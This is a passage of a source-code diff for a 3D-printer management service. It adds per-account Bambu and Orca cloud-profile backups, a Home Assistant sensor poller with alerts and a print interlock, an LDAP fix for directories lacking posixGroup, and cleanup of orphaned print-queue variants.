+def _orca_profile_record(entry: dict) -> dict:
+    """One Orca profile as stored in the backup.
+
+    ``content`` is kept whole rather than picked apart: it is the profile, the
+    sync API hands it over inline, and Orca owns its shape. Narrowing it here
+    would mean guessing which keys a future restore needs.
+    """
+    return {
+        "id": str(entry.get("id")) if entry.get("id") is not None else None,
+        "name": entry.get("name"),
+        "updated_time": entry.get("updated_time"),
+        "created_time": entry.get("created_time"),
+        "content": entry.get("content"),
+    }
+
+
 # Schedule intervals in seconds
 SCHEDULE_INTERVALS = {
     "hourly": 3600,
@@ -279,11 +329,13 @@ class GitHubBackupService:
         {
             "backup_metadata.json": {...},
             "kprofiles/{serial}/{nozzle}.json": {...},
-            "cloud_profiles/filament.json": [...],
-            "cloud_profiles/printer.json": [...],
-            "cloud_profiles/process.json": [...],
+            "cloud_profiles/bambu/{account}/{filament,printer,process}.json": {...},
+            "cloud_profiles/orca/{account}/{filament,printer,process}.json": {...},
             "settings/app_settings.json": {...},
         }
+
+        ``{account}`` is ``global`` when auth is disabled, otherwise
+        ``user-{id}`` — one directory per connected cloud account (#2717).
         """
         files: dict[str, dict | list] = {}
 
@@ -306,10 +358,20 @@ class GitHubBackupService:
             self._backup_progress = "Collecting K-profiles from printers..."
             await self._collect_kprofiles(db, files)
 
-        # Collect cloud profiles
+        # Collect cloud profiles. `contents.cloud_profiles` is corrected below
+        # from what was configured to what was actually written — it claimed
+        # `true` on every backup, including the ones that collected nothing
+        # (#2717), which is exactly the signal a restore needs to be able to
+        # trust.
         if config.backup_cloud_profiles:
-            self._backup_progress = "Collecting cloud profiles from Bambu Cloud..."
-            await self._collect_cloud_profiles(db, files)
+            self._backup_progress = "Collecting cloud profiles from Bambu Cloud and Orca Cloud..."
+            cloud_summary = await self._collect_cloud_profiles(db, files)
+            collected = bool(cloud_summary.get("bambu") or cloud_summary.get("orca"))
+            metadata["contents"]["cloud_profiles"] = collected
+            if collected:
+                # Per-cloud, per-account counts, so a restore can tell an empty
+                # account from one that failed to collect.
+                metadata["cloud_profiles"] = cloud_summary
 
         # Collect app settings
         if config.backup_settings:
@@ -374,68 +436,283 @@ class GitHubBackupService:
             if printer_profiles:
                 logger.info("Collected K-profiles for %s: %s", serial, printer_profiles)
 
-    async def _collect_cloud_profiles(self, db: AsyncSession, files: dict):
-        """Collect Bambu Cloud profiles if authenticated."""
-        # Backup runs without a user context, so fall back to the auth-disabled
-        # Settings storage. ``build_authenticated_cloud`` honours the stored
-        # region so China-region tokens are validated against api.bambulab.cn.
+    async def _collect_cloud_profiles(self, db: AsyncSession, files: dict) -> dict:
+        """Collect slicer presets from every connected cloud account.
+
+        Two clouds, and on an auth-enabled install any number of accounts in
+        each: Bambu Cloud tokens live on ``User.cloud_token`` and Orca Cloud
+        tokens on ``User.orca_cloud_token``, falling back to the global
+        ``Settings`` table only when auth is disabled. The previous version
+        asked for the auth-disabled store unconditionally, so it collected
+        nothing at all on any install with auth on (#2717).
+
+        Layout is one directory per cloud per account, both clouds grouped the
+        same way so a restore reads them identically::
+
+            cloud_profiles/bambu/user-3/{filament,printer,process}.json
+            cloud_profiles/orca/user-3/{filament,printer,process}.json
+
+        Accounts are keyed by Bambuddy user id (``global`` when auth is off),
+        never by email — a backup repository can be public.
+
+        Returns a per-cloud summary for ``backup_metadata.json`` so the
+        metadata records what was actually collected rather than what was
+        merely enabled.
+        """
+        summary: dict = {"bambu": {}, "orca": {}}
+
+        bambu_accounts, orca_accounts = await self.cloud_accounts(db)
+        if not bambu_accounts and not orca_accounts:
+            # Enabled but nothing to collect. Deliberately a warning: the INFO
+            # line this replaces read as a successful collection of nothing,
+            # which is how #2717 went unnoticed through every backup.
+            logger.warning(
+                "Cloud profiles are enabled for backup, but no Bambu Cloud or Orca Cloud "
+                "account is connected — nothing to collect."
+            )
+            return summary
+
+        for account_key, user in bambu_accounts:
+            try:
+                counts = await self._collect_bambu_profiles(db, files, account_key, user)
+            except Exception:
+                logger.warning("Failed to collect Bambu Cloud profiles for %s", account_key, exc_info=True)
+                continue
+            if counts:
+                summary["bambu"][account_key] = counts
+
+        for account_key, user in orca_accounts:
+            try:
+                counts = await self._collect_orca_profiles(db, files, account_key, user)
+            except Exception:
+                logger.warning("Failed to collect Orca Cloud profiles for %s", account_key, exc_info=True)
+                continue
+            if counts:
+                summary["orca"][account_key] = counts
+
+        if not summary["bambu"] and not summary["orca"]:
+            logger.warning(
+                "Cloud profiles are enabled and %d Bambu / %d Orca account(s) are connected, "
+                "but no presets were collected — see the per-account warnings above.",
+                len(bambu_accounts),
+                len(orca_accounts),
+            )
+        else:
+            logger.info("Collected cloud profiles: %s", summary)
+        return summary
+
+    async def cloud_accounts(self, db: AsyncSession) -> tuple[list, list]:
+        """Enumerate connected accounts as ``(account_key, user_or_None)`` per cloud.
+
+        With auth enabled every user holds their own credentials, so a backup
+        that only looked at the global store saw none of them. With auth
+        disabled there is a single global row and no ``User`` at all, which is
+        what ``user=None`` means to both clouds' credential loaders.
+
+        Both stores are read regardless: a ``Settings`` row survives enabling
+        auth later, and dropping it silently would lose that account's presets.
+        """
+        from backend.app.api.routes.cloud import get_stored_token
+        from backend.app.api.routes.orca_cloud import _load_credentials
+
+        bambu: list = []
+        orca: list = []
+
+        global_token, _email, _region = await get_stored_token(db, None)
+        if global_token:
+            bambu.append(("global", None))
+        global_orca = await _load_credentials(db, None)
+        if global_orca.token:
+            orca.append(("global", None))
+
+        result = await db.execute(
+            select(User).where(or_(User.cloud_token.isnot(None), User.orca_cloud_token.isnot(None)))
+        )
+        for user in result.scalars().all():
+            if user.cloud_token:
+                bambu.append((f"user-{user.id}", user))
+            if user.orca_cloud_token:
+                orca.append((f"user-{user.id}", user))
+
+        return bambu, orca
+
+    async def _collect_bambu_profiles(self, db: AsyncSession, files: dict, account_key: str, user) -> dict:
+        """Collect one Bambu Cloud account's custom presets, with their payloads.
+
+        The listing endpoint is keyed by preset type, each holding ``private``
+        and ``public`` lists — there is no flat ``setting`` array, and the
+        entries carry no ``type`` of their own, which is why the type comes
+        from the outer key here exactly as it does in ``routes/cloud.py``.
+        Bambu calls process presets ``print``.
+
+        ``public`` is skipped: those are Bambu's own bundled catalogue, the
+        same hundreds of entries for every user, re-downloadable at any time
+        and not recreatable under your account anyway. Backing them up would
+        churn the repository on every run for nothing.
+
+        Each private preset then costs one ``get_setting_detail`` call, because
+        the listing carries only metadata. Without ``base_id`` and ``setting``
+        the backup is a list of names, not something a restore can rebuild
+        from. Bounded by the number of *custom* presets, and the backup already
+        makes a round-trip per printer for K-profiles.
+        """
         from backend.app.api.routes.cloud import build_authenticated_cloud
 
-        cloud = await build_authenticated_cloud(db, user=None)
+        cloud = await build_authenticated_cloud(db, user=user)
         if cloud is None or not cloud.is_authenticated:
-            if cloud is not None:
-                await cloud.close()
-            logger.info("Cloud not authenticated, skipping cloud profiles")
-            return
+            logger.info("Bambu Cloud not authenticated for %s, skipping", account_key)
+            return {}
 
+        counts: dict = {}
         try:
             settings = await cloud.get_slicer_settings()
-            if not settings:
-                return
-
-            # Separate by type
-            filament_settings = []
-            printer_settings = []
-            process_settings = []
-
-            for setting in settings.get("setting", []) if isinstance(settings.get("setting"), list) else []:
-                setting_type = setting.get("type", "")
-                if setting_type == "filament":
-                    filament_settings.append(setting)
-                elif setting_type == "printer":
-                    printer_settings.append(setting)
-                elif setting_type == "process":
-                    process_settings.append(setting)
-
-            if filament_settings:
-                files["cloud_profiles/filament.json"] = {
-                    "version": "1.0",
-                    "profiles": filament_settings,
-                }
+            if not isinstance(settings, dict) or not settings:
+                logger.warning("Bambu Cloud returned no slicer settings for %s", account_key)
+                return {}
+
+            failed = 0
+            for api_key, our_type in _BAMBU_PRESET_TYPES.items():
+                type_data = settings.get(api_key)
+                if not isinstance(type_data, dict):
+                    continue
+                private = type_data.get("private")
+                if not isinstance(private, list) or not private:
+                    continue
+
+                profiles = []
+                for entry in private:
+                    setting_id = entry.get("setting_id") or entry.get("id")
+                    if not setting_id:
+                        continue
+                    try:
+                        detail = await cloud.get_setting_detail(str(setting_id))
+                    except Exception as e:
+                        # One unreadable preset must not cost the rest of the
+                        # account, but it must not vanish quietly either.
+                        failed += 1
+                        logger.warning(
+                            "Failed to fetch Bambu Cloud preset %s (%s) for %s: %s",
+                            setting_id,
+                            entry.get("name", "unnamed"),
+                            account_key,
+                            e,
+                        )
+                        continue
+                    profiles.append(_bambu_preset_record(setting_id, our_type, entry, detail))
+
+                if profiles:
+                    files[f"cloud_profiles/bambu/{account_key}/{our_type}.json"] = {
+                        "version": "2.0",
+                        "cloud": "bambu",
+                        "type": our_type,
+                        "profiles": profiles,
+                    }
+                    counts[our_type] = len(profiles)
 
-            if printer_settings:
-                files["cloud_profiles/printer.json"] = {
-                    "version": "1.0",
-                    "profiles": printer_settings,
-                }
+            if failed:
+                counts["failed"] = failed
+            return counts
+        finally:
+            await cloud.close()
 
-            if process_settings:
-                files["cloud_profiles/process.json"] = {
-                    "version": "1.0",
-                    "profiles": process_settings,
-                }
+    async def _collect_orca_profiles(self, db: AsyncSession, files: dict, account_key: str, user) -> dict:
+        """Collect one Orca Cloud account's profiles, grouped the same three ways.
+
+        Cheaper than Bambu: the sync-pull listing already carries each
+        profile's full ``content``, so there is no per-profile fetch.
+
+        The type lives at ``content.type`` and is mapped through the same
+        ``_ORCA_TYPE_TO_BAMBU`` table the Orca tab uses, so the backup groups
+        exactly as the UI does. Where that route *drops* a profile whose type
+        it can't map, this writes it to ``other.json`` instead — a backup that
+        silently omits a profile because Orca added a type is the same class of
+        bug as #2717 itself.
+
+        Uses the route layer's ``_build_authenticated_service`` rather than
+        re-implementing the refresh: the Orca refresh token is single-use and
+        rotating, and that helper already persists the new pair atomically
+        before returning.
+
+        Passes ``clear_on_auth_failure=False``, so a rejected refresh skips the
+        account instead of disconnecting it. A backup is an observer; it should
+        not change anyone's sign-in state on a schedule, least of all on a
+        rejection reason Orca does not disambiguate. The next time the user
+        opens the Orca Profiles page that route clears the dead pairing anyway,
+        with the user present to pair again.
+        """
+        from fastapi import HTTPException
 
-            logger.info(
-                "Collected cloud profiles: %d filament, %d printer, %d process",
-                len(filament_settings),
-                len(printer_settings),
-                len(process_settings),
-            )
+        from backend.app.api.routes.orca_cloud import (
+            _ORCA_TYPE_TO_BAMBU,
+            _build_authenticated_service,
+        )
+
+        try:
+            svc = await _build_authenticated_service(db, user, clear_on_auth_failure=False)
+        except HTTPException as e:
+            # Either way the stored credentials are untouched and this account
+            # is skipped, not disconnected — but the two need different advice.
+            # A rejected refresh will not fix itself and needs the user to pair
+            # again; an unreachable Orca is very likely gone by the next run.
+            if e.status_code == 401:
+                logger.warning(
+                    "Orca Cloud rejected the stored session for %s, so its profiles are not in this "
+                    "backup. Later runs will skip it too until the account is paired again under "
+                    "Profiles > Orca Cloud Profiles — which is also where the dead credentials get "
+                    "cleared. Cause: %s",
+                    account_key,
+                    e.detail,
+                )
+            else:
+                logger.warning(
+                    "Orca Cloud unreachable for %s, skipping its profiles this run: %s",
+                    account_key,
+                    e.detail,
+                )
+            return {}
+        except Exception as e:
+            logger.warning("Orca Cloud not usable for %s: %s", account_key, e, exc_info=True)
+            return {}
 
-        except Exception:
-            logger.warning("Failed to collect cloud profiles", exc_info=True)
+        counts: dict = {}
+        try:
+            raw_profiles = await svc.list_profiles()
+            grouped: dict[str, list] = {}
+            unknown_types: dict[str, int] = {}
+
+            for entry in raw_profiles:
+                if not isinstance(entry, dict):
+                    continue
+                content = entry.get("content")
+                raw_type = content.get("type") if isinstance(content, dict) else None
+                our_type = _ORCA_TYPE_TO_BAMBU.get(str(raw_type)) if raw_type is not None else None
+                if our_type is None:
+                    unknown_types[str(raw_type) if raw_type is not None else "<missing>"] = (
+                        unknown_types.get(str(raw_type) if raw_type is not None else "<missing>", 0) + 1
+                    )
+                    our_type = "other"
+                grouped.setdefault(our_type, []).append(_orca_profile_record(entry))
+
+            for our_type, profiles in grouped.items():
+                files[f"cloud_profiles/orca/{account_key}/{our_type}.json"] = {
+                    "version": "2.0",
+                    "cloud": "orca",
+                    "type": our_type,
+                    "profiles": profiles,
+                }
+                counts[our_type] = len(profiles)
+
+            if unknown_types:
+                logger.warning(
+                    "Orca Cloud sent %d profile(s) for %s with unmapped content.type values %s — "
+                    "backed up to other.json rather than dropped.",
+                    sum(unknown_types.values()),
+                    account_key,
+                    unknown_types,
+                )
+            return counts
         finally:
-            await cloud.close()
+            await svc.close()
 
     async def _collect_settings(self, db: AsyncSession, files: dict):
         """Collect app settings."""

+ 271 - 0
backend/app/services/ha_sensor_manager.py

@@ -0,0 +1,271 @@
+"""Polls the Home Assistant entities bound to printers (#1148, #448).
+
+One background loop reads every configured entity on a fixed cadence and keeps
+the result in memory. Three things consume it:
+
+* the printer card, which reads the cache instead of hitting Home Assistant
+  once per card per refresh;
+* notifications, fired on a transition *into* the alert state, never on every
+  poll while it persists;
+* the print interlock, which holds queued jobs for a printer while one of its
+  sensors is alerting.
+
+Everything degrades to "no opinion" when Home Assistant cannot be reached: an
+unreadable sensor never alerts, never notifies, and never holds a print. A
+door contact that stops responding must not strand the queue.
+"""
+
+import asyncio
+import logging
+from dataclasses import dataclass
+
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from backend.app.models.printer import Printer
+from backend.app.models.printer_ha_sensor import PrinterHASensor
+from backend.app.services.homeassistant import as_float, homeassistant_service
+from backend.app.utils.local_time import utcnow_naive
+
+logger = logging.getLogger(__name__)
+
+# Fast enough that an enclosure door reads as live, slow enough that a handful
+# of tiny LAN requests stays background noise.
+POLL_INTERVAL = 15
+
+
+@dataclass
+class SensorReading:
+    """The last thing we managed to read for one sensor."""
+
+    state: str | None  # raw HA state, None when unreadable
+    value: float | None  # parsed number for numeric sensors
+    alerting: bool
+    reachable: bool
+
+
+class HASensorManager:
+    def __init__(self):
+        self._task: asyncio.Task | None = None
+        # sensor id -> last reading. Sensors absent from this map have not been
+        # polled yet; callers must not read that as "not alerting" without also
+        # checking, which is why get_reading returns None rather than a default.
+        self._readings: dict[int, SensorReading] = {}
+        # sensor id -> alerting, from the last reading we could actually take.
+        # Kept apart from _readings because a dropout must not read as the
+        # alert clearing: on -> unavailable -> on is one continuous alert, and
+        # notifying off _readings alone would ping the user on every reconnect
+        # of a flaky contact. Absent means "never had a reachable reading".
+        self._last_alerting: dict[int, bool] = {}
+
+    # -- lifecycle ---------------------------------------------------------
+
+    def start(self):
+        if self._task is None:
+            self._task = asyncio.create_task(self._poll_loop())
+            logger.info("Home Assistant sensor poller started")
+
+    def stop(self):
+        if self._task:
+            self._task.cancel()
+            self._task = None
+            logger.info("Home Assistant sensor poller stopped")
+
+    # -- cache access ------------------------------------------------------
+
+    def get_reading(self, sensor_id: int) -> SensorReading | None:
+        return self._readings.get(sensor_id)
+
+    def forget(self, sensor_id: int):
+        """Drop a deleted sensor's cached reading so its id cannot be reused
+        by a later row and answer with the old sensor's state."""
+        self._readings.pop(sensor_id, None)
+        self._last_alerting.pop(sensor_id, None)
+
+    async def blocked_printers(self, db: AsyncSession) -> dict[int, str]:
+        """Printers currently held by an interlock, mapped to the sensor names.
+
+        A sensor counts only when it is configured to block, *and* was read
+        successfully, *and* is in its alert state. Anything we could not read
+        is omitted, so the queue keeps moving when Home Assistant is down.
+
+        One query for the whole fleet — the scheduler calls this on every pass,
+        and per-printer lookups would put a query per printer in that loop.
+        """
+        result = await db.execute(select(PrinterHASensor).where(PrinterHASensor.block_print.is_(True)))
+        blocked: dict[int, list[str]] = {}
+        for sensor in result.scalars().all():
+            reading = self._readings.get(sensor.id)
+            if reading and reading.reachable and reading.alerting:
+                blocked.setdefault(sensor.printer_id, []).append(sensor.name)
+        return {printer_id: ", ".join(names) for printer_id, names in blocked.items()}
+
+    # -- polling -----------------------------------------------------------
+
+    async def _poll_loop(self):
+        while True:
+            try:
+                await asyncio.sleep(POLL_INTERVAL)
+                await self.poll_once()
+            except asyncio.CancelledError:
+                break
+            except Exception as e:
+                logger.warning("Home Assistant sensor poll failed: %s", e)
+
+    async def poll_once(self):
+        """One pass over every configured sensor."""
+        from backend.app.core.database import async_session
+
+        async with async_session() as db:
+            result = await db.execute(select(PrinterHASensor))
+            sensors = list(result.scalars().all())
+
+            # Drop readings for rows that no longer exist. The delete route
+            # calls forget(), but a printer deleted with sensors attached takes
+            # them out by cascade, and a restored backup can renumber them —
+            # either way a stale id must not answer for a later sensor.
+            live = {s.id for s in sensors}
+            for stale in set(self._readings) - live:
+                self.forget(stale)
+
+            if not sensors:
+                return
+
+            if not await self._configure(db):
+                # Not configured is not a failure to report every 15 seconds,
+                # but the readings must not go stale-but-confident either.
+                for sensor in sensors:
+                    self._readings[sensor.id] = SensorReading(None, None, False, False)
+                return
+
+            states = await homeassistant_service.fetch_states(sorted({s.entity_id for s in sensors}))
+            await self._apply(db, sensors, states)
+
+    async def refresh_one(self, db: AsyncSession, sensor: PrinterHASensor):
+        """Read a single sensor now, on the caller's session.
+
+        Used after a create or an edit so the card shows a state straight away
+        instead of blank until the next tick. Deliberately not a full
+        ``poll_once``: a request handler must not wait on every configured
+        entity, and must not fire another user's notification as a side effect
+        of this one saving a form.
+        """
+        self.forget(sensor.id)
+        if not await self._configure(db):
+            self._readings[sensor.id] = SensorReading(None, None, False, False)
+            return
+
+        states = await homeassistant_service.fetch_states([sensor.entity_id])
+        reading = evaluate(sensor, states.get(sensor.entity_id))
+        self._readings[sensor.id] = reading
+        if reading.reachable:
+            self._last_alerting[sensor.id] = reading.alerting
+
+        sensor.last_checked = utcnow_naive()
+        if reading.reachable and sensor.last_state != reading.state:
+            sensor.last_state = reading.state
+            sensor.last_changed = sensor.last_checked
+        await db.commit()
+        await db.refresh(sensor)
+
+    async def _configure(self, db: AsyncSession) -> bool:
+        from backend.app.api.routes.settings import get_homeassistant_settings
+
+        try:
+            ha_settings = await get_homeassistant_settings(db)
+        except Exception as e:
+            logger.warning("Failed to read Home Assistant settings: %s", e)
+            return False
+        if not ha_settings["ha_url"] or not ha_settings["ha_token"]:
+            return False
+        homeassistant_service.configure(ha_settings["ha_url"], ha_settings["ha_token"])
+        return True
+
+    async def _apply(self, db: AsyncSession, sensors: list[PrinterHASensor], states: dict[str, dict | None]):
+        """Fold poll results into the cache, the DB and any notifications."""
+        from backend.app.services.notification_service import notification_service
+
+        now = utcnow_naive()
+        alerts: list[tuple[PrinterHASensor, SensorReading]] = []
+
+        for sensor in sensors:
+            payload = states.get(sensor.entity_id)
+            reading = evaluate(sensor, payload)
+            was_alerting = self._last_alerting.get(sensor.id)
+            self._readings[sensor.id] = reading
+
+            sensor.last_checked = now
+            if reading.reachable:
+                if sensor.last_state != reading.state:
+                    sensor.last_state = reading.state
+                    sensor.last_changed = now
+
+            # Notify on the edge into alerting only. `was_alerting is None` is
+            # a cold cache (first poll after a restart) — a door that was
+            # already open then has not just been opened, and re-announcing it
+            # on every restart would train users to ignore the alert.
+            if sensor.notify_on_alert and reading.reachable and reading.alerting and was_alerting is False:
+                alerts.append((sensor, reading))
+
+            if reading.reachable:
+                self._last_alerting[sensor.id] = reading.alerting
+
+        await db.commit()
+
+        for sensor, reading in alerts:
+            # db.get, not sensor.printer: touching the lazy relationship from
+            # an async session raises MissingGreenlet.
+            printer = await db.get(Printer, sensor.printer_id)
+            try:
+                await notification_service.on_ha_sensor_alert(
+                    printer_id=sensor.printer_id,
+                    printer_name=printer.name if printer else "Unknown",
+                    sensor_name=sensor.name,
+                    state=describe_state(sensor, reading),
+                    db=db,
+                )
+            except Exception as e:
+                logger.warning("Failed to send HA sensor alert for '%s': %s", sensor.name, e)
+
+
+def evaluate(sensor: PrinterHASensor, payload: dict | None) -> SensorReading:
+    """Turn one HA state payload into a reading.
+
+    Split out from the manager so the alert rules can be tested without a
+    poller, a database or a Home Assistant.
+    """
+    if payload is None:
+        return SensorReading(state=None, value=None, alerting=False, reachable=False)
+
+    state = payload.get("state")
+    # HA reports these two for entities whose integration is down. Treating
+    # them as a state would make "unavailable" a value the card renders and
+    # the thresholds compare against.
+    if state in (None, "unknown", "unavailable"):
+        return SensorReading(state=None, value=None, alerting=False, reachable=False)
+
+    state = str(state)
+    if sensor.kind == "numeric":
+        value = as_float(state)
+        if value is None:
+            # A sensor that used to report numbers and now reports text is
+            # not a reading we can place against a threshold.
+            return SensorReading(state=state, value=None, alerting=False, reachable=True)
+        alerting = (sensor.alert_above is not None and value > sensor.alert_above) or (
+            sensor.alert_below is not None and value < sensor.alert_below
+        )
+        return SensorReading(state=state, value=value, alerting=alerting, reachable=True)
+
+    normalized = state.lower()
+    alerting = sensor.alert_state is not None and normalized == sensor.alert_state
+    return SensorReading(state=normalized, value=None, alerting=alerting, reachable=True)
+
+
+def describe_state(sensor: PrinterHASensor, reading: SensorReading) -> str:
+    """Human-readable state for a notification body ("open", "31.4 °C")."""
+    if sensor.kind == "numeric" and reading.value is not None:
+        return f"{reading.value:g} {sensor.unit}".strip() if sensor.unit else f"{reading.value:g}"
+    return reading.state or "unknown"
+
+
+ha_sensor_manager = HASensorManager()

+ 102 - 0
backend/app/services/homeassistant.py

@@ -1,5 +1,6 @@
 """Service for communicating with Home Assistant via REST API."""
 
+import asyncio
 import logging
 from typing import TYPE_CHECKING
 from urllib.parse import urlparse
@@ -364,6 +365,107 @@ class HomeAssistantService:
             logger.warning("Failed to list HA sensor entities: %s", e)
             return []
 
+    async def list_display_entities(self, url: str, token: str, search: str | None = None) -> list[dict]:
+        """List entities that can be bound to a printer for display (#1148, #448).
+
+        Covers every ``binary_sensor.*`` plus the ``sensor.*`` entities that
+        carry a reading. Distinct from ``list_sensor_entities``, which exists
+        for a plug's energy monitoring and therefore only admits power/energy
+        units — an enclosure thermometer is exactly what that one filters out.
+
+        A ``sensor.*`` qualifies when it has a unit or its state parses as a
+        number. That drops the text sensors (``sensor.washing_machine_status``)
+        that the card has no way to render as a value.
+        """
+        try:
+            async with httpx.AsyncClient(timeout=self.timeout) as client:
+                response = await client.get(
+                    f"{url.rstrip('/')}/api/states",
+                    headers={"Authorization": f"Bearer {token}"},
+                )
+                response.raise_for_status()
+
+                entities = []
+                search_lower = search.lower().strip() if search else None
+
+                for entity in response.json():
+                    entity_id = entity.get("entity_id", "")
+                    domain = entity_id.split(".")[0] if "." in entity_id else ""
+                    if domain not in ("binary_sensor", "sensor"):
+                        continue
+
+                    attrs = entity.get("attributes", {})
+                    unit = attrs.get("unit_of_measurement")
+                    state = entity.get("state")
+
+                    if domain == "sensor" and not unit and as_float(state) is None:
+                        continue
+
+                    friendly_name = attrs.get("friendly_name") or entity_id
+                    if search_lower and (
+                        search_lower not in entity_id.lower() and search_lower not in friendly_name.lower()
+                    ):
+                        continue
+
+                    entities.append(
+                        {
+                            "entity_id": entity_id,
+                            "friendly_name": friendly_name,
+                            "state": state,
+                            "domain": domain,
+                            "device_class": attrs.get("device_class"),
+                            "unit_of_measurement": unit,
+                        }
+                    )
+
+                return sorted(entities, key=lambda x: x["friendly_name"].lower())
+        except Exception as e:
+            logger.warning("Failed to list HA display entities: %s", e)
+            return []
+
+    async def fetch_states(self, entity_ids: list[str]) -> dict[str, dict | None]:
+        """Read several entities in one pass, keyed by entity_id.
+
+        One GET per entity over a shared client rather than a single
+        ``/api/states`` sweep: the poller only ever wants a handful of bound
+        entities, and pulling every state in the user's Home Assistant on a
+        15-second cadence is a lot of payload to throw away.
+
+        A ``None`` value means that entity could not be read — the callers
+        treat that as "no opinion" rather than as a state, so an unreachable
+        Home Assistant never trips an alert or holds a print.
+        """
+        if not entity_ids:
+            return {}
+        if not self.base_url or not self.token:
+            return dict.fromkeys(entity_ids)
+
+        async with httpx.AsyncClient(timeout=self.timeout) as client:
+
+            async def _one(entity_id: str) -> tuple[str, dict | None]:
+                try:
+                    response = await client.get(
+                        f"{self.base_url}/api/states/{entity_id}",
+                        headers=self._headers(),
+                    )
+                    response.raise_for_status()
+                    return entity_id, response.json()
+                except Exception as e:
+                    logger.debug("Failed to read HA entity %s: %s", entity_id, e)
+                    return entity_id, None
+
+            results = await asyncio.gather(*(_one(e) for e in entity_ids))
+
+        return dict(results)
+
+
+def as_float(value) -> float | None:
+    """Parse a HA state to a number, or None for "unknown"/"unavailable"/text."""
+    try:
+        return float(value)
+    except (TypeError, ValueError):
+        return None
+
 
 # Singleton instance
 homeassistant_service = HomeAssistantService()

+ 42 - 18
backend/app/services/ldap_service.py

@@ -14,6 +14,7 @@ import logging
 from dataclasses import dataclass
 
 from ldap3 import ALL, SUBTREE, Connection, Server, Tls
+from ldap3.core.exceptions import LDAPObjectClassError
 
 logger = logging.getLogger(__name__)
 
@@ -155,32 +156,55 @@ def _extract_user_info(
 
     canonical_username = _pick_canonical_username(user_entry, fallback_username)
 
-    # Also search for POSIX groups (memberUid-based) using the service account
-    posix_filter = f"(&(objectClass=posixGroup)(memberUid={_ldap_escape(canonical_username)}))"
-    service_conn.search(
-        search_base=config.search_base,
-        search_filter=posix_filter,
-        search_scope=SUBTREE,
-        attributes=["cn"],
-    )
-    for entry in service_conn.entries:
-        groups.append(str(entry.entry_dn))
-
-    # POSIX primary group: user's gidNumber matches a posixGroup's gidNumber.
-    # Standard Unix semantics treat this as full group membership, so we need
-    # to resolve it to a group DN alongside the memberUid results.
-    if hasattr(user_entry, "gidNumber") and user_entry.gidNumber:
-        primary_gid = str(user_entry.gidNumber)
-        primary_filter = f"(&(objectClass=posixGroup)(gidNumber={_ldap_escape(primary_gid)}))"
+    # Also search for POSIX groups, both the memberUid kind and the primary
+    # gidNumber kind. Both filters name the posixGroup object class, and ldap3
+    # validates that name against the schema it fetched at connect time
+    # (get_info=ALL) before it builds the request — so on a directory that
+    # publishes a schema without posixGroup it raises client-side and nothing is
+    # ever sent. A directory with no posixGroup class has no posixGroup entries,
+    # which is exactly the answer the searches would have returned, so the
+    # correct response is to carry on with the memberOf groups collected above.
+    #
+    # Left uncaught, that exception escaped authenticate_ldap_user, and the login
+    # route reports any LDAP error as "Incorrect username or password" — so an
+    # lldap user, whose accounts carry posixAccount but whose directory defines
+    # no group classes beyond groupOfNames, could never log in and had nothing
+    # but a wrong-password message to go on (#2769). This predates the primary
+    # gidNumber lookup: the memberUid filter has named the class since #794.
+    try:
+        posix_filter = f"(&(objectClass=posixGroup)(memberUid={_ldap_escape(canonical_username)}))"
         service_conn.search(
             search_base=config.search_base,
-            search_filter=primary_filter,
+            search_filter=posix_filter,
             search_scope=SUBTREE,
             attributes=["cn"],
         )
         for entry in service_conn.entries:
             groups.append(str(entry.entry_dn))
 
+        # POSIX primary group: user's gidNumber matches a posixGroup's gidNumber.
+        # Standard Unix semantics treat this as full group membership, so we need
+        # to resolve it to a group DN alongside the memberUid results.
+        if hasattr(user_entry, "gidNumber") and user_entry.gidNumber:
+            primary_gid = str(user_entry.gidNumber)
+            primary_filter = f"(&(objectClass=posixGroup)(gidNumber={_ldap_escape(primary_gid)}))"
+            service_conn.search(
+                search_base=config.search_base,
+                search_filter=primary_filter,
+                search_scope=SUBTREE,
+                attributes=["cn"],
+            )
+            for entry in service_conn.entries:
+                groups.append(str(entry.entry_dn))
+    except LDAPObjectClassError:
+        # Logged once per authentication, at info: it is the explanation for a
+        # user's POSIX groups being absent from their mapping, and it is not an
+        # error the operator can or should act on.
+        logger.info(
+            "Directory publishes no posixGroup object class; skipping POSIX group lookup "
+            "(memberOf groups are unaffected)"
+        )
+
     # Dedupe group DNs (user may be in a group via both memberUid and primary gidNumber).
     # Case-insensitive comparison — LDAP DNs are case-insensitive by spec.
     seen_lower: set[str] = set()

+ 19 - 0
backend/app/services/library_trash.py

@@ -27,6 +27,7 @@ from sqlalchemy.ext.asyncio import AsyncSession
 from backend.app.core.config import settings as app_settings
 from backend.app.core.database import async_session
 from backend.app.models.library import LibraryFile
+from backend.app.models.print_queue import PrintQueueVariant
 from backend.app.models.settings import Settings
 
 logger = logging.getLogger(__name__)
@@ -351,6 +352,7 @@ class LibraryTrashService:
         for row in rows:
             self._unlink_on_disk(row)
             deleted += 1
+        await delete_dependent_variants(db, [r.id for r in rows])
         # Single DELETE is faster than N await db.delete() round-trips; we
         # still need the Python loop above to unlink bytes on disk.
         await db.execute(delete(LibraryFile).where(LibraryFile.id.in_([r.id for r in rows])))
@@ -383,8 +385,25 @@ class LibraryTrashService:
     async def hard_delete_now(self, db: AsyncSession, file: LibraryFile) -> None:
         """Bypass retention and delete this trashed file + its bytes immediately."""
         self._unlink_on_disk(file)
+        await delete_dependent_variants(db, [file.id])
         await db.delete(file)
         await db.commit()
 
 
+async def delete_dependent_variants(db: AsyncSession, file_ids: list[int]) -> None:
+    """Drop cross-model queue candidates that pointed at these files (#671).
+
+    SQLite ships with ``PRAGMA foreign_keys`` off — verified, not assumed — so
+    the ON DELETE CASCADE on ``print_queue_variants.library_file_id`` never fires
+    on the default deployment and the rows would outlive the file.
+
+    The scheduler already refuses to dispatch a candidate whose file is missing
+    or trashed, so nothing prints wrongly without this. It is here so the table
+    does not fill with rows referencing files that no longer exist.
+    """
+    if not file_ids:
+        return
+    await db.execute(delete(PrintQueueVariant).where(PrintQueueVariant.library_file_id.in_(file_ids)))
+
+
 library_trash_service = LibraryTrashService()

+ 37 - 0
backend/app/services/notification_service.py

@@ -1729,6 +1729,43 @@ class NotificationService:
             providers, title, message, db, "bed_cooled", printer_id, printer_name, variables=variables
         )
 
+    async def on_ha_sensor_alert(
+        self,
+        printer_id: int,
+        printer_name: str,
+        sensor_name: str,
+        state: str,
+        db: AsyncSession,
+    ):
+        """A Home Assistant sensor bound to a printer entered its alert state (#1148).
+
+        Sent immediately rather than folded into a digest: the case this exists
+        for is an enclosure door left open, which is only worth telling someone
+        about while they can still act on it.
+        """
